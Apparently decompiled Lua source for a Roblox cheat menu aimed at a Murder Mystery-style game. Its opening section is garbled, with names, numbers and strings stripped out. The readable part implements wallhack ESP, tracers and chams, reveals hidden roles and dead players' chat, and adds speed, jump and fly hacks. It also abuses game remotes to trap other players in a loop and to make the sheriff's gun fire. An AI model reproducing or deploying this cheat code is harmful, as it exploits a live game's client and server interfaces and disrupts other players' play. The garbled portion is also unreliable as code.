a.Box[o.Name].TopLeft.Visible = K
a.Box[o.Name].TopLeft.Color = q.Color
a.Box[o.Name].TopRight.From = .(U.X, U.Y)
a.Box[o.Name].TopRight.To = .(J.X, J.Y)
a.Box[o.Name].TopRight.Visible = r
a.Box[o.Name].TopRight.Color = q.Color
a.Box[o.Name].BottomLeft.From = .(G.X, G.Y)
a.Box[o.Name].BottomLeft.To = .(t.X, t.Y)
a.Box[o.Name].BottomLeft.Visible = T
a.Box[o.Name].BottomLeft.Color = q.Color
a.Box[o.Name].BottomRight.From = .(J.X, J.Y)
a.Box[o.Name].BottomRight.To = .(G.X, G.Y)
a.Box[o.Name].BottomRight.Visible = A
a.Box[o.Name].BottomRight.Color = q.Color
a.Box[o.Name].TopLeft.Visible =
a.Box[o.Name].TopRight.Visible =
a.Box[o.Name].BottomLeft.Visible =
a.Box[o.Name].BottomRight.Visible =
a.Box[o.Name].TopLeft.Visible =
a.Box[o.Name].TopRight.Visible =
a.Box[o.Name].BottomLeft.Visible =
a.Box[o.Name].BottomRight.Visible =
)
a.Box[o.Name].TopLeft.Thickness =
a.Box[o.Name].TopLeft.Transparency =
a.Box[o.Name].TopRight.Thickness =
a.Box[o.Name].TopRight.Transparency =
a.Box[o.Name].BottomLeft.Thickness =
a.Box[o.Name].BottomLeft.Transparency =
a.Box[o.Name].BottomRight.Thickness =
a.Box[o.Name].BottomRight.Transparency =
(o)
a.Tracer[o.Name] = {}
a.Tracer[o.Name].Line = .()
a.Tracer[o.Name].Service = G.RenderStepped:(()
o o.Character
Y = (o)
Y
j, Z = .CurrentCamera:(Y.CFrame * (.(, - Y.Size.Y, )).Position)
t = (o)
a.Tracer[o.Name].Line.Color = t.Color
a.Tracer[o.Name].Line.From = .(.CurrentCamera.ViewportSize.X / , .CurrentCamera.ViewportSize.Y)
a.Tracer[o.Name].Line.To = .(j.X, j.Y)
a.Tracer[o.Name].Line.Visible = Z
a.Tracer[o.Name].Line.Visible =
a.Tracer[o.Name].Line.Visible =
)
a.Tracer[o.Name].Line.Thickness =
a.Tracer[o.Name].Line.Transparency =
(o)
a.ESP[o.Name] = {}
a.ESP[o.Name].Text = .()
a.ESP[o.Name].Service = G.RenderStepped:(()
o o.Character
Y = (o)
Y
j, Z = .CurrentCamera:((Y.CFrame * .(, , )) * (.(, - Y.Size.Y, )).Position)
t = (Y.Position - .CurrentCamera.CFrame.Position).Magnitude /
K = (o)
a.ESP[o.Name].Text.Visible = Z
a.ESP[o.Name].Text.Color = K.Color
a.ESP[o.Name].Text.Position = .(j.X, j.Y)
a.ESP[o.Name].Text.Size = t >= - t
a.ESP[o.Name].Text.Visible =
a.ESP[o.Name].Text.Visible =
)
a.ESP[o.Name].Text.OutlineColor = .(, , )
a.ESP[o.Name].Text.Outline =
a.ESP[o.Name].Text.Size =
a.ESP[o.Name].Text.Font =
a.ESP[o.Name].Text.Text = o.Name
a.ESP[o.Name].Text.Transparency =
a.ESP[o.Name].Text.Center =
(o, Y)
j = (o)
j
z.(Y.Stab, )
.()
.(()
(j, Y.Handle, )
(j, Y.Handle, )
)
(o, Y, j, Z)
t =
K =
U =
r =
G
j = j
o:(Y .. , (o)
o.Character
((Y)
o.Character
(Y, o)
)
)
o:(Y .. , ()
((o)
Y, j (O:())
j.Name ~= g j.Character
(Z, o, j)
)
)
o:(Y .. , ()
o = (q.Murderer)
o o.Character
((Y)
o o.Character
(Y, o)
)
)
o:(Y .. , ()
o = (q.Sheriff)
o o.Character
((Y)
o o.Character
(Y, o)
)
)
o:(, (o)
G = o.Name
)
o:( .. (Y .. ), (o)
r = o
o
(.(()
r
.()
o = G (G)
o o.Character
((Y)
o o.Character
(Z, Y, o)
)
.(j)
))()
)
o:( .. (Y .. ), (o)
t = o
o
(.(()
t
.()
o, Y (O:())
Y.Name ~= g Y.Character
((o)
Y Y.Character
(Z, o, Y)
)
.(j)
))()
)
o:( .. (Y .. ), (o)
t = o
o
(.(()
t
.()
o = (q.Murderer)
o o.Character
((Y)
o o.Character
(Z, Y, o)
)
.(j)
))()
)
o:( .. (Y .. ), (o)
t = o
o
(.(()
t
.()
o = (q.Sheriff)
o o.Character
((Y)
o o.Character
(Z, Y, o)
)
.(j)
))()
)
iK = TK:(, )
bK = TK:(, )
lK = TK:(, )
kK = TK:(, )
nK = TK:(, )
wK = TK:(, )
PK = TK:(, )
pK = TK:(, )
VK = TK:(, )
hK = TK:(, )
mK = TK:(, )
WK = TK:(, )
BK = iK:(, (o)
o
D.Character.Humanoid.WalkSpeed = N.WalkSpeed
x:(, D.CharacterAdded, ()
.()
D.Character.Humanoid.WalkSpeed = N.WalkSpeed
)
x:()
D.Character.Humanoid.WalkSpeed =
)
XK = iK:(, , , , (o)
N.WalkSpeed = o
BK:()
D.Character.Humanoid.WalkSpeed = o
)
uK = iK:(, (o)
o
D.Character.Humanoid.JumpPower = N.JumpPower
x:(, D.CharacterAdded, ()
.()
D.Character.Humanoid.JumpPower = N.JumpPower
)
x:()
D.Character.Humanoid.JumpPower =
)
IK = iK:(, , , , (o)
N.JumpPower = o
uK:()
D.Character.Humanoid.JumpPower = o
)
t.TouchEnabled
iK:(, (o)
N.Fly = o
o
(.(AK))()
()
)
iK:(, .KeyCode.F, ()
N.Fly = N.Fly
N.Fly
()
()
)
iK:(, (o)
N.Fly = o
o
()
()
)
iK:(, .KeyCode.F, ()
N.Fly = N.Fly
Boolean
()
()
)
iK:(, , , , (o)
N.FlySpeed = (o)
)
iK:(, (o)
o
x:(, t.JumpRequest, ()
D.Character.Humanoid:(.HumanoidStateType.Jumping)
)
x:()
)
iK:(, (o)
o
x:(, )
x:(, t.InputBegan, (o)
N.ShiftRun
o.KeyCode == .KeyCode.LeftShift o.KeyCode == .KeyCode.RightShift
x:(, x:())
x:()
D.Character.Humanoid.WalkSpeed =
D.Character.Humanoid.WalkSpeed = N.WalkSpeed
)
x:()
N.WalkSpeed = x:()
x:()
)
iK:(, )
iK:(, (o)
(o)
)
iK:(, RK)
iK:()
iK:(, W)
iK:(, , , , (o)
N.XrayTransparency = (o) (o) /
)
iK:(, (o)
N.AlwaysAliveChat = o
)
iK:(, (o)
o
x:(, )
x:(, G.Heartbeat, ()
o = z.(A.Remotes.Extras.GetTimer)
o <
i.Visible =
i.Active =
Y, j, Z = , , o
Z >
Z = Z -
j = j +
j ==
j =
Y = Y +
i.Visible = x:()
i.Active = x:()
Y >
i.Text = Y .. ( .. (j .. ))
i.TextColor3 = .(, , )
Y <
i.Text = j ..
i.TextColor3 = .(, , )
)
x:()
x:()
i.Visible =
i.Active =
)
iK:(, (o)
o
N.RoleStates[] = ()
o
F.Text = N.ShowMurdererChance R[g].Role .. ( .. (z.(A.Remotes.Extras.GetChance) .. )) R[g].Role
F.TextColor3 = (v)
F.Visible =
F.RichText =
F.TextSize =
o = (D.PlayerGui.MainGUI.Game.RoleSelector.Title:()):(function()
if D.PlayerGui.MainGUI.Game.RoleSelector.Title.Text ~= "You Are" then
o:Disconnect()
F.Visible = false
end
end)
for o, Y in pairs(R) do
if Y.Role == "Murderer" or Y.Role == "Sheriff" then
q[Y.Role] = o
end
end
task.wait(.5)
X("Murderer is: " .. q.Murderer, 5, "https://web.roblox.com/Thumbs/Avatar.ashx?x=\049\048\048&y=\049\048\048&Format=Png&userid=" .. (V(q.Murderer)).UserId)
X("Sheriff is: " .. q.Sheriff, 5, "https://web.roblox.com/Thumbs/Avatar.ashx?x=\049\048\048&y=\049\048\048&Format=Png&userid=" .. (V(q.Sheriff)).UserId)
repeat
task.wait()
until D.PlayerGui.MainGUI.Game.RoleSelector.Title.Text ~= "You Are"
F.Visible = false
end
else
N.RoleStates["Instant Role Notify"] = nil
end
end)
iK:CreateToggle("Show Murderer Chance", function(o)
N.ShowMurdererChance = o
end)
iK:CreateToggle("See Dead Chat", function(o)
if o then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g then
x:MakeTask("See Dead Chat of " .. Y.Name, Y.Chatted, function(o)
pcall(function()
if not l(Y) and (l(D) and l(V(q.Murderer))) then
if o:sub(1, 4) == "/me " then
T:SetCore("ChatMakeSystemMessage", {
Text = "[Dead] [" .. (Y.Name .. ("]: " .. string.sub(o, 5, # o))),
Color = Color3.fromRGB(128, 128, 128)
})
else
T:SetCore("ChatMakeSystemMessage", {
Text = "[Dead] [" .. (Y.Name .. ("]: " .. o));
Color = Color3.fromRGB(128, 128, 128)
})
end
end
end)
end)
end
end
x:MakeTask("See Dead Chat Handler\049", O.PlayerAdded, function(o)
x:MakeTask("See Dead Chat of " .. o.Name, o.Chatted, function(Y)
pcall(function()
if not l(o) and (l(D) and l(V(q.Murderer))) then
if Y:sub(1, 4) == "/me " then
T:SetCore("ChatMakeSystemMessage", {
Text = "[Dead] [" .. (o.Name .. ("]: " .. string.sub(Y, 5, # Y)));
Color = Color3.fromRGB(128, 128, 128)
})
else
T:SetCore("ChatMakeSystemMessage", {
Text = "[Dead] [" .. (o.Name .. ("]: " .. Y)),
Color = Color3.fromRGB(128, 128, 128)
})
end
end
end)
end)
end)
x:MakeTask("See Dead Chat Handler\050", O.PlayerRemoving, function(o)
x:RemoveTask("See Dead Chat of " .. o.Name)
end)
else
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g then
x:RemoveTask("See Dead Chat of " .. Y.Name)
end
end
x:RemoveTask("See Dead Chat Handler\049")
x:RemoveTask("See Dead Chat Handler\050")
end
end)
iK:CreateButton("Notify Murderer\'s Perk", function()
if q.Murderer ~= "" and R[q.Murderer] then
I("<font color=\"rgb(\050\053\053, \048, \048)\">" .. (q.Murderer .. ("</font> is currently using <font color=\"rgb(\050\053\053, \048, \048)\">" .. (R[q.Murderer].Effect .. "</font> Perk!"))), 5)
end
end)
iK:CreateToggle("Auto Notify Murderer\'s Perk", function(o)
if o then
N.RoleStates["Auto Notify Murderer\'s Perk"] = function()
for o, Y in pairs(R) do
if Y.Role == "Murderer" then
I("<font color=\"rgb(\050\053\053, \048, \048)\">" .. (o .. ("</font> is currently using <font color=\"rgb(\050\053\053, \048, \048)\">" .. (Y.Effect .. "</font> Perk!"))), 5)
end
end
end
else
N.RoleStates["Auto Notify Murderer\'s Perk"] = nil
end
end)
bK:CreateSection("Cham")
bK:CreateToggle("Cham Everyone", function(o)
N.ChamEveryone = o
if o then
local function o(o)
local Y = N.ESPFolder:FindFirstChild(o.Name) or Instance.new("Folder")
local j = Y:FindFirstChild("Cham") or Instance.new("Folder")
Y.Name = o.Name
Y.Parent = N.ESPFolder
j.Name = "Cham"
j.Parent = Y
if o and o.Character then
for Y, Z in pairs(o.Character:GetChildren()) do
if Z.Name ~= "HumanoidRootPart" and Z:IsA("BasePart") then
local Y = j:FindFirstChild(Z.Name) or Instance.new("BoxHandleAdornment")
local t = gK(o)
Y.Name = Z.Name
Y.Parent = j
Y.Size = Z.Size
Y.Adornee = Z
Y.Color3 = t.Color
Y.AlwaysOnTop = true
Y.Transparency = .55
Y.ZIndex = 10
end
end
end
end
N.RoleStates["Cham Connection \049"] = function()
task.wait()
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g then
pcall(o, j)
end
end
end
x:MakeTask("Cham Connection \050", O.PlayerAdded, function(Y)
task.wait(2.5)
x:MakeTask("Cham Connection " .. (Y.Name .. " Giver"), Y.CharacterAdded, function()
task.wait(2.5)
pcall(o, Y);
(coroutine.wrap(function()
repeat
task.wait()
until Y and (Y.Character and (Y.Character:FindFirstChild("Humanoid") and Y.Character.Humanoid.Health <= 0)) or not Y or not Y.Character or not Y.Character:FindFirstChild("Humanoid") or not Y.Character:FindFirstChild("Head") or not N.ChamEveryone
local o = N.ESPFolder:FindFirstChild(Y.Name)
if o and o:FindFirstChild("Cham") then
o.Cham:Destroy()
end
end))()
end)
pcall(o, Y);
(coroutine.wrap(function()
repeat
task.wait()
until Y and (Y.Character and (Y.Character:FindFirstChild("Humanoid") and Y.Character.Humanoid.Health <= 0)) or not Y or not Y.Character or not Y.Character:FindFirstChild("Humanoid") or not Y.Character:FindFirstChild("Head") or not N.ChamEveryone
local o = N.ESPFolder:FindFirstChild(Y.Name)
if o and o:FindFirstChild("Cham") then
o.Cham:Destroy()
end
end))()
end)
x:MakeTask("Cham Connection \051", A.Remotes.Gameplay.RoundEndFade.OnClientEvent, function()
task.wait(10)
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g then
pcall(o, j)
end
end
end)
x:MakeTask("Cham Connection \052", A.UpdatePlayerData.OnClientEvent, function()
task.wait(1)
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g then
pcall(o, j)
end
end
end)
for Y, j in pairs(O:GetPlayers()) do
if j.Name ~= g then
pcall(o, j)
x:MakeTask("Cham Connection " .. (j.Name .. " Giver"), j.CharacterAdded, function()
task.wait(2.5)
pcall(o, j);
(coroutine.wrap(function()
repeat
task.wait()
until j and (j.Character and (j.Character:FindFirstChild("Humanoid") and j.Character.Humanoid.Health <= 0)) or not j or not j.Character or not j.Character:FindFirstChild("Humanoid") or not j.Character:FindFirstChild("Head") or not N.ChamEveryone
local o = N.ESPFolder:FindFirstChild(j.Name)
if o and o:FindFirstChild("Cham") then
o.Cham:Destroy()
end
end))()
end);
(coroutine.wrap(function()
repeat
task.wait()
until j and (j.Character and (j.Character:FindFirstChild("Humanoid") and j.Character.Humanoid.Health <= 0)) or not j or not j.Character or not j.Character:FindFirstChild("Humanoid") or not j.Character:FindFirstChild("Head") or not N.ChamEveryone
local o = N.ESPFolder:FindFirstChild(j.Name)
if o and o:FindFirstChild("Cham") then
o.Cham:Destroy()
end
end))()
end
end
else
N.RoleStates["Cham Connection \049"] = nil
x:RemoveTask("Cham Connection \050")
x:RemoveTask("Cham Connection \051")
x:RemoveTask("Cham Connection \052")
end
end)
bK:CreateToggle("Cham Dropped Gun", function(o)
if o then
local function o(o)
local Y = N.ESPFolder:FindFirstChild("Dropped Gun") or Instance.new("Folder")
local j = Y:FindFirstChild("Cham") or Instance.new("Folder")
local Z = j:FindFirstChild("Humanoid") or Instance.new("BoxHandleAdornment")
Y.Name = "Dropped Gun"
Y.Parent = N.ESPFolder
j.Name = "Cham"
j.Parent = Y
Z.Name = "Humanoid"
Z.Parent = j
Z.Size = o.Size
Z.Adornee = o
Z.Color3 = tK("Sheriff")
Z.AlwaysOnTop = true
Z.Transparency = .55
Z.ZIndex = 10
end
x:MakeTask("Cham Dropped Gun Connection", workspace.ChildAdded, function(Y)
if Y.Name == "GunDrop" then
o(Y)
end
end)
x:MakeTask("Cham Dropped Gun Connection \049", workspace.ChildRemoved, function(o)
if o.Name == "GunDrop" then
local o = N.ESPFolder:FindFirstChild("Dropped Gun") or Instance.new("Folder")
local Y = o:FindFirstChild("Cham") or Instance.new("Folder")
local j = Y:FindFirstChild("Humanoid") or Instance.new("BoxHandleAdornment")
o.Name = "Dropped Gun"
o.Parent = N.ESPFolder
Y.Name = "Cham"
Y.Parent = o
j.Name = "Humanoid"
j.Parent = Y
j.Adornee = nil
end
end)
if workspace:FindFirstChild("GunDrop") then
o(workspace.GunDrop)
end
else
x:RemoveTask("Cham Dropped Gun Connection")
x:RemoveTask("Cham Dropped Gun Connection \049")
local o = N.ESPFolder:FindFirstChild("Dropped Gun") or Instance.new("Folder")
local Y = o:FindFirstChild("Cham") or Instance.new("Folder")
local j = Y:FindFirstChild("Humanoid") or Instance.new("BoxHandleAdornment")
o.Name = "Dropped Gun"
o.Parent = N.ESPFolder
Y.Name = "Cham"
Y.Parent = o
j.Name = "Humanoid"
j.Parent = Y
j.Adornee = nil
end
end)
bK:CreateToggle("Cham Coins", function(o)
if o then
local function o(o)
local Y = o:FindFirstChild("CoinVisual")
if Y and not o:FindFirstChild("Cham") then
local Y = Instance.new("BoxHandleAdornment")
Y.Name = "Cham"
Y.Parent = o
Y.Size = Vector3.new(1.5, 1.5, 1.5)
Y.Adornee = o
Y.Color3 = tK("Innocent")
Y.AlwaysOnTop = true
Y.Transparency = .55
Y.ZIndex = 10
end
end
x:MakeTask("Cham Coins", G.RenderStepped, function()
local Y = ZK()
if Y and Y:FindFirstChild("CoinContainer") then
for Y, j in pairs(Y.CoinContainer:GetChildren()) do
if j.Name == "Coin_Server" then
o(j)
end
end
end
end)
else
local o = ZK()
x:RemoveTask("Cham Coins")
if o and o:FindFirstChild("CoinContainer") then
for o, Y in pairs(o.CoinContainer:GetChildren()) do
if Y.Name == "Coin_Server" and Y:FindFirstChild("Cham") then
Y.Cham:Destroy()
end
end
end
end
end)
bK:CreateSection("ESP")
bK:CreateToggle("ESP Everyone", function(o)
if o then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g then
dK(Y)
end
end
x:MakeTask("ESP Handler \049", O.PlayerAdded, dK)
x:MakeTask("ESP Handler \050", O.PlayerRemoving, function(o)
if a.ESP[o.Name] then
a.ESP[o.Name].Text:Remove()
a.ESP[o.Name].Service:Disconnect()
a.ESP[o.Name] = nil
end
end)
else
x:RemoveTask("ESP Handler \049")
x:RemoveTask("ESP Handler \050")
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and a.ESP[Y.Name] then
a.ESP[Y.Name].Text:Remove()
a.ESP[Y.Name].Service:Disconnect()
a.ESP[Y.Name] = nil
end
end
end
end)
bK:CreateToggle("ESP Dropped Gun", function(o)
if o then
local function o(o)
local Y = N.ESPFolder:FindFirstChild("Dropped Gun") or Instance.new("Folder")
local j = Y:FindFirstChild("ESP") or Instance.new("Folder")
local Z = j:FindFirstChild("Humanoid") or Instance.new("BillboardGui")
local t = Z:FindFirstChild("Text") or Instance.new("TextLabel")
Y.Name = "Dropped Gun"
Y.Parent = N.ESPFolder
j.Name = "ESP"
j.Parent = Y
Z.Name = "Humanoid"
Z.Parent = j
Z.AlwaysOnTop = true
Z.ExtentsOffset = Vector3.new(0, 5.5, 0)
Z.Size = UDim2.new(0, 200, 0, 50)
Z.Adornee = o
t.Name = "Text"
t.Parent = Z
t.BackgroundTransparency = 1
t.Size = UDim2.new(0, 200, 0, 50)
t.Font = Enum.Font.GothamBold
t.Text = "Dropped Gun"
t.TextSize = 13
t.TextColor3 = tK("Sheriff")
end
x:MakeTask("ESP Dropped Gun Connection", workspace.ChildAdded, function(Y)
if Y.Name == "GunDrop" then
o(Y)
end
end)
x:MakeTask("ESP Dropped Gun Connection \049", workspace.ChildRemoved, function(o)
if o.Name == "GunDrop" then
local o = N.ESPFolder:FindFirstChild("Dropped Gun") or Instance.new("Folder")
o:Destroy()
end
end)
if workspace:FindFirstChild("GunDrop") then
o(workspace.GunDrop)
end
else
x:RemoveTask("ESP Dropped Gun Connection")
x:RemoveTask("ESP Dropped Gun Connection \049")
local o = N.ESPFolder:FindFirstChild("Dropped Gun") or Instance.new("Folder")
o:Destroy()
end
end)
bK:CreateToggle("ESP Coins", function(o)
if o then
local function o(o)
local Y = o:FindFirstChild("CoinVisual")
if Y and not o:FindFirstChild("ESP") then
local j = Instance.new("BillboardGui")
local Z = Instance.new("TextLabel")
j.Name = "ESP"
j.Parent = o
j.AlwaysOnTop = true
j.ExtentsOffset = Vector3.new(0, 5.5, 0)
j.Size = UDim2.new(0, 200, 0, 50)
j.Adornee = o
Z.Name = "Text"
Z.Parent = j
Z.BackgroundTransparency = 1
Z.Size = UDim2.new(0, 200, 0, 50)
Z.Font = Enum.Font.GothamBold
Z.Text = Y and (Y.ClassName ~= "MeshPart" and "Coin") or "Egg"
Z.TextSize = 13
Z.TextColor3 = tK("Innocent")
end
end
x:MakeTask("ESP Coins", G.RenderStepped, function()
local Y = ZK()
if Y and Y:FindFirstChild("CoinContainer") then
for Y, j in pairs(Y.CoinContainer:GetChildren()) do
if j.Name == "Coin_Server" then
o(j)
end
end
end
end)
else
local o = ZK()
x:RemoveTask("ESP Coins")
if o and o:FindFirstChild("CoinContainer") then
for o, Y in pairs(o.CoinContainer:GetChildren()) do
if Y.Name == "Coin_Server" and Y:FindFirstChild("ESP") then
Y.ESP:Destroy()
end
end
end
end
end)
bK:CreateSection("ESP Box")
bK:CreateToggle("ESP Box Everyone", function(o)
if o then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g then
cK(Y)
end
end
x:MakeTask("Boxes Handler \049", O.PlayerAdded, cK)
x:MakeTask("Boxes Handler \050", O.PlayerRemoving, function(o)
if a.Box[o.Name] then
a.Box[o.Name].TopLeft:Remove()
a.Box[o.Name].TopRight:Remove()
a.Box[o.Name].BottomLeft:Remove()
a.Box[o.Name].BottomRight:Remove()
a.Box[o.Name].Service:Disconnect()
a.Box[o.Name] = nil
end
end)
else
x:RemoveTask("Boxes Handler \049")
x:RemoveTask("Boxes Handler \050")
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and a.Box[Y.Name] then
a.Box[Y.Name].TopLeft:Remove()
a.Box[Y.Name].TopRight:Remove()
a.Box[Y.Name].BottomLeft:Remove()
a.Box[Y.Name].BottomRight:Remove()
a.Box[Y.Name].Service:Disconnect()
a.Box[Y.Name] = nil
end
end
end
end)
bK:CreateSection("Tracer")
bK:CreateToggle("Tracer Everyone", function(o)
if o then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g then
FK(Y)
end
end
x:MakeTask("Tracer Handler \049", O.PlayerAdded, FK)
x:MakeTask("Tracer Handler \050", O.PlayerRemoving, function(o)
if a.Tracer[o.Name] then
a.Tracer[o.Name].Line:Remove()
a.Tracer[o.Name].Service:Disconnect()
a.Tracer[o.Name] = nil
end
end)
else
x:RemoveTask("Tracer Handler \049")
x:RemoveTask("Tracer Handler \050")
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and a.Tracer[Y.Name] then
a.Tracer[Y.Name].Line:Remove()
a.Tracer[Y.Name].Service:Disconnect()
a.Tracer[Y.Name] = nil
end
end
end
end)
lK:CreateSection("Fe Emotes")
lK:CreateButton("Sit", function()
A.Remotes.Misc.PlayEmote:Fire("sit")
end)
lK:CreateButton("Ninja", function()
A.Remotes.Misc.PlayEmote:Fire("ninja")
end)
lK:CreateButton("Dab", function()
A.Remotes.Misc.PlayEmote:Fire("dab")
end)
lK:CreateButton("Zen", function()
A.Remotes.Misc.PlayEmote:Fire("zen")
end)
lK:CreateButton("Floss", function()
A.Remotes.Misc.PlayEmote:Fire("floss")
end)
lK:CreateButton("Headless", function()
A.Remotes.Misc.PlayEmote:Fire("headless")
end)
lK:CreateButton("Zombie", function()
A.Remotes.Misc.PlayEmote:Fire("zombie")
end)
lK:CreateSection("Default Emotes:")
lK:CreateButton("Wave", function()
A.Remotes.Misc.PlayEmote:Fire("wave")
end)
lK:CreateButton("Cheer", function()
A.Remotes.Misc.PlayEmote:Fire("cheer")
end)
lK:CreateButton("Laugh", function()
A.Remotes.Misc.PlayEmote:Fire("laugh")
end)
lK:CreateSection("Free")
lK:CreateToggle("Seizure", function(o)
N.Seizure = o
if o then
(coroutine.wrap(function()
while N.Seizure do
task.wait(.2)
A.Remotes.Misc.PlayEmote:Fire(U[math.random(1, # U)])
end
end))()
end
end)
kK:CreateLabel("Trap Abuser:")
kK:CreateToggle("Loop Trap Everyone", function(o)
if o then
if u("Trap") then
x:SetValue("Loop Trap", true)
x:MakeTask("Loop Trap", G.Stepped, function()
if x:GetValue("Loop Trap") then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and x:GetValue("Loop Trap") then
local o = h(Y)
if o then
z.Function(A.TrapSystem.PlaceTrap, o.CFrame)
end
end
end
end
end)
else
B("Uh oh! you need Trap Perks for this!")
end
else
x:SetNil("Loop Trap")
x:RemoveTask("Loop Trap")
end
end)
kK:CreateToggle("Loop Trap Murderer", function(o)
if o then
if u("Trap") then
x:SetValue("Loop Trap Murderer", true)
x:MakeTask("Loop Trap Murderer", G.Stepped, function()
pcall(function()
if x:GetValue("Loop Trap Murderer") then
local o = V(q.Murderer)
if o and (l(o) and x:GetValue("Loop Trap Murderer")) then
z.Function(A.TrapSystem.PlaceTrap, (h(o)).CFrame)
end
end
end)
end)
else
B("Uh oh! you need Trap Perks for this!")
end
else
x:SetNil("Loop Trap Murderer")
x:RemoveTask("Loop Trap Murderer")
end
end)
kK:CreateToggle("Loop Trap Sheriff", function(o)
if o then
if u("Trap") then
x:SetValue("Loop Trap Sheriff", true)
x:MakeTask("Loop Trap Sheriff", G.Stepped, function()
pcall(function()
if x:GetValue("Loop Trap Sheriff") then
local o = V(q.Sheriff)
if o and (l(o) and x:GetValue("Loop Trap Sheriff")) then
z.Function(A.TrapSystem.PlaceTrap, (h(o)).CFrame)
end
end
end)
end)
else
B("Uh oh! you need Trap Perks for this!")
end
else
x:SetNil("Loop Trap Sheriff")
x:RemoveTask("Loop Trap Sheriff")
end
end)
kK:CreateToggle("Loop Trap Player", function(o)
if o then
if u("Trap") then
x:SetValue("Loop Trap Player", true)
x:MakeTask("Loop Trap Player", G.Stepped, function()
if x:GetValue("Loop Trap Player") then
local o = h(N.LoopTrapPlayer)
if o then
z.Function(A.TrapSystem.PlaceTrap, o.CFrame)
end
end
end)
else
B("Uh oh! you need Trap Perks for this!")
end
else
x:SetNil("Loop Trap Player")
x:RemoveTask("Loop Trap Player")
end
end)
kK:CreatePlayerDropdown("Select Player", function(o)
N.LoopTrapPlayer = o
end)
kK:CreatePlayerDropdown("Trap Player", function(o)
if u("Trap") then
if o and o.Character then
z.Function(A.TrapSystem.PlaceTrap, (h(o)).CFrame)
end
else
B("Uh oh! you need Trap Perks for this!")
end
end)
kK:CreateButton("Trap Everyone", function()
if u("Trap") then
for o, Y in pairs(O:GetPlayers()) do
if Y.Name ~= g and Y.Character then
z.Function(A.TrapSystem.PlaceTrap, (h(Y)).CFrame)
end
end
else
B("Uh oh! you need Trap Perks for this!")
end
end)
kK:CreateButton("Trap Murderer", function()
if u("Trap") then
local o = V(q.Murderer)
if o and (l(o) and o.Character) then
z.Function(A.TrapSystem.PlaceTrap, (h(o)).CFrame)
end
else
B("Uh oh! you need Trap Perks for this!")
end
end)
kK:CreateButton("Trap Sheriff", function()
if u("Trap") then
local o = V(q.Sheriff)
if o and (l(o) and o.Character) then
z.Function(A.TrapSystem.PlaceTrap, (h(o)).CFrame)
end
else
B("Uh oh! you need Trap Perks for this!")
end
end)
kK:CreateSection("Without Perks")
kK:CreateToggle("Fake Knife", function(o)
if o then
pcall(function()
local o = Instance.new("Tool")
local Y = D.Character.KnifeDisplay
local j = Y.Mesh:Clone()
local Z = Instance.new("Part")
local t = false
local K = {
Instance.new("Animation");
Instance.new("Animation")
}
K[1].AnimationId = "rbxassetid://\050\052\054\055\053\054\055\055\053\048"
K[2].AnimationId = "rbxassetid://\049\057\053\055\056\057\048\053\051\056"
o.Name = "Fake Knife"
o.RequiresHandle = true
o.GripPos = Vector3.new(0, -1, 0)
o.Activated:Connect(function()
if not t then
t = true;
(D.Character.Humanoid:LoadAnimation(K[math.random(1, 2)])):Play()
task.wait(1)
t = false
end
end)
Z.Name = "Handle"
Z.Parent = o
Z.Size = Y.Size
j.Parent = Z
o.Parent = D.Character
end)
else
LK("Fake Knife")
end
end)
if y then
nK:CreateSection("Survival")
nK:CreateToggle("Auto Dodge Knives", function(o)
if o then
x:MakeTask("Auto Dodge Knives", workspace.ChildAdded, function(o)
if o.Name == "ThrowingKnife" and (o:IsA("Model") and v ~= "Murderer") then
local Y = false
while not Y and o do
task.wait()
local j = h(D)
if j then
local Z = (o:GetPivot()).Position
local t = (j.Position - Z).Magnitude
if t < 15 then
local o = j.Position.X - Z.X
local t = j.Position.Y - Z.Y
if t < 4.35 then
j.CFrame = j.CFrame * CFrame.new(- o * 3, 0, 0)
Y = true
end
end
end
end
end
end)
else
x:RemoveTask("Auto Dodge Knives")
end
end)
nK:CreateSection("Toy Modification")
nK:CreateToggle("Auto Prank Bomb Clutch", function(o)
N.AutoPrankBombClutch = o
end)
nK:CreateToggle("Infinite Prank Bomb", function(o)
if o then
x:MakeTask("Infinite Prank Bomb", G.RenderStepped, function()
if D and (D.Character and D.Character:FindFirstChild("FakeBomb")) then
(getsenv(D.Character.FakeBomb.Client)).firerate = 0
end
end)
else
x:RemoveTask("Infinite Prank Bomb")
if D and (D.Character and D.Character:FindFirstChild("FakeBomb")) then
(getsenv(D.Character.FakeBomb.Client)).firerate = 22
end
end
end)
nK:CreateToggle("No Prank Bomb Cooldown", function(o)
if o then
x:MakeTask("No Prank Bomb Cooldown", G.RenderStepped, function()
if D and (D.Character and D.Character:FindFirstChild("FakeBomb")) then
(getsenv(D.Character.FakeBomb.Client)).check = true
end
end)
else
x:RemoveTask("No Prank Bomb Cooldown")
end
end)
nK:CreateSection("Troll")
nK:CreateToggle("Force Sheriff To Spam Shoot", function(o)
if o then
x:MakeTask("Force Sheriff To Spam Shoot", G.Stepped, function()
local o = V(q.Sheriff)
if o and (o.Name ~= g and o.Character) then
for o, Y in pairs(o.Character:GetChildren()) do
if Y.Name == "Gun" and Y:IsA("Tool") then
z.Function(Y.KnifeServer.ShootGun, 0, Vector3.new(), "AH")
end
end
for o, Y in pairs(o.Backpack:GetChildren()) do
if Y.Name == "Gun" and Y:IsA("Tool") then
z.Function(Y.KnifeServer.ShootGun, 0, Vector3.new(), "AH")
end
end
end
end)
else
x:RemoveTask("Force Sheriff To Spam Shoot")
end
end)
nK:CreateButton("Force Sheriff to Shoot", function()
local o = V(q.Sheriff)
if o and (o.Name ~= g and o.Character) then
for o, Y in pairs(o.Character:GetChildren()) do
if Y.Name == "Gun" and Y:IsA("Tool") then
z.Function(Y.KnifeServer.ShootGun, 0, Vector3.new(), "AH")
end
end
for o, Y in pairs(o.Backpack:GetChildren()) do
if Y.Name == "Gun" and Y:IsA("Tool") then
z.Function(Y.KnifeServer.ShootGun, 0, Vector3.new(), "AH")
end
end
end
end)
nK:CreateSection("Spray Paint")
